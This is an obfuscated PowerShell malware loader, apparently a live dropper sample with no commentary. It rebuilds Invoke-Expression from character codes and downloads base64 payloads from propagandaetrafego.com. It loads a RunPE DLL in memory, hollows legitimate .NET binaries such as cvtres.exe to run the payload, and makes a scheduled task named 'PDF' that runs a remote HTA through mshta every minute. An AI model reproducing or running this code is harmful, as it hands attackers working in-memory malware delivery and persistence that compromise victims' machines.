$g78fgh00=[char]73 + [char]69 + [char]88
sal dwrg5t $g78fgh00
[byte[]]$conexaojamaica=[System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://propagandaetrafego.com/julhovenom.txt'));
[Byte[]] $DLL =[System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://propagandaetrafego.com/runpe.txt'));
$y='[System.Ap#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>ain]'.replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','pDom')|dwrg5t;$g55=$y.GetMethod("get_CurrentDomain")
$ewe0='$g55.In#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>ke($null,$null)'.replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','vo')| dwrg5t
$wwf5dd='$ewe0.Lo#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>($DLL)'.Replace('#####^*******!!!!!!!!!!!!!!!!*****************________________*********************<>>>>>>>>>>','ad')
$wwf5dd| dwrg5t
[RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe' ,$conexaojamaica)
[RunPE.RunPE]::Execute('C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe' ,$conexaojamaica)
schtasks /create /sc MINUTE /mo 1 /tn ""PDF"" /tr """"mshta"" https://propagandaetrafego.com/h.html"" /F